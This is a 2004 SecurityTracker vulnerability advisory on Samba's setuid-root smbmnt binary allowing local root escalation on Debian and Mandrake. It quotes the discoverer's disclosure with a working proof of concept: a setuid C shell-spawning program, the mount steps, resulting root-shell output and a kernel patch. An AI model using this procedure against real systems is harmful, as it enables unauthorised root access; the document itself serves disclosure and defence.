SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (File Transfer/Sharing)  >   Samba CIFS Vendors:   Samba.org
Samba 'smbmnt' Permissions May Let Local Users Gain Root Privileges
SecurityTracker Alert ID:  1009000
SecurityTracker URL:  http://securitytracker.com/id/1009000
CVE Reference:   CAN-2004-0186   (Links to External Site)
Updated:  Mar 4 2004
Original Entry Date:  Feb 10 2004
Impact:   Execution of arbitrary code via local system, Root access via local system
Exploit Included:  Yes  
Version(s): 3.x
Description:   A configuration vulnerability was reported in the Samba smbmnt binary. A local user can gain root privileges on the target system.

It is reported that /usr/bin/smbmnt is configured with set user id (setuid) 'root' user permissions on some Linux distributions, including Debian and Mandrake. A local user with access to a remote Samba server can mount the remote Samba server on the target machine using smbmnt. Then, the local user can execute a setuid (or set group id [setgid]) binary located on the remote Samba server to gain root privileges on the target system.

Martin Fiala is credited with discovering this flaw.

Impact:   A local user can gain root privileges on the target system [depending on whether 'smbmnt' is configured with setuid/setgid privileges or not].
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.samba.org/ (Links to External Site)
Cause:   Access control error, Configuration error
Underlying OS:   Linux (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Mar 13 2004 (Debian Issues Fix) Samba 'smbmnt' Permissions May Let Local Users Gain Root Privileges   (Matt Zimmerman <mdz@debian.org>)
Debian has released a fix.
Apr 20 2004 (Mandrake Issues Fix) Samba 'smbmnt' Permissions May Let Local Users Gain Root Privileges   (Mandrake Linux Security Team <security@linux-mandrake.com>)
Mandrake has released a fix.



 Source Message Contents

Date:  Mon, 9 Feb 2004 22:23:03 +0100
Subject:  Samba 3.x + kernel 2.6.x local root vulnerability


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

"share" - smb server
"slovakia" - smb client
                                                                                                                                 
              
misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian
                                                                                                                                 
              
misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x    1 root     root       591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x    1 root     root         8088 2004-01-13 20:29 /usr/bin/smbmnt
     ^                                                                                                                           
              

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}
                                                                                                                                 
              
share:/data/share# make a
cc     a.c   -o a
share:/data/share# chmod +s a
share:/data/share#
                                                                                                                                 
              
share:/etc/samba/smb.conf
                                                                                                                                 
              
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
                                                                                                                                 
              
share:/data/share# ls -l a
- - -rwsr-sr-x    1 root     root        11716 Feb  8 12:39 a
                                                                                                                                 
              
misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x    1 root     root        11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#

Confirmed to work on all 2.6.x kernels, not confirmed on 2.4.x.

Quick patch for 2.6.3-rc1 kernel by Urban Widmark:

diff -urN -X exclude linux-2.6.3-rc1-orig/fs/smbfs/proc.c linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c
- --- linux-2.6.3-rc1-orig/fs/smbfs/proc.c        Mon Feb  9 19:08:39 2004
+++ linux-2.6.3-rc1-smbfs/fs/smbfs/proc.c       Mon Feb  9 21:43:08 2004
@@ -546,7 +546,8 @@
                                                                                                                                 
              
 #define MAX_FILE_MODE  6
 static mode_t file_mode[] = {
- -       S_IFREG, S_IFDIR, S_IFLNK, S_IFCHR, S_IFBLK, S_IFIFO, S_IFSOCK
+       S_IFREG, S_IFDIR, S_IFLNK, S_IFREG /* S_IFCHR */, S_IFREG /* S_IFBLK */,
+       S_IFIFO, S_IFSOCK
 };
                                                                                                                                 
              
 static int smb_filetype_to_mode(u32 filetype)
@@ -567,9 +568,9 @@
        if (mode & S_IFLNK)
                return UNIX_TYPE_SYMLINK;
        if (mode & S_IFCHR)
- -               return UNIX_TYPE_CHARDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_CHARDEV */ ;
        if (mode & S_IFBLK)
- -               return UNIX_TYPE_BLKDEV;
+               return UNIX_TYPE_FILE /* UNIX_TYPE_BLKDEV */ ;
        if (mode & S_IFIFO)
                return UNIX_TYPE_FIFO;
        if (mode & S_IFSOCK)
@@ -1834,6 +1835,7 @@
 static void
 smb_finish_dirent(struct smb_sb_info *server, struct smb_fattr *fattr)
 {
+       fattr->f_mode &= ~(S_ISGID | S_ISUID);
        if (fattr->f_unix)
                return;


Bug discovered by Martin Fiala <digri@dik.cvut.cz>

Michal
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAJ/o3I4dMYFEaiukRAmL6AJ9oqO77yINR2vI7N4LWGEhIfliaZQCfRyb+
o5iBUpdH5KjNZnQdohDusgk=
=XA7E
-----END PGP SIGNATURE-----

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2012, SecurityGlobal.net LLC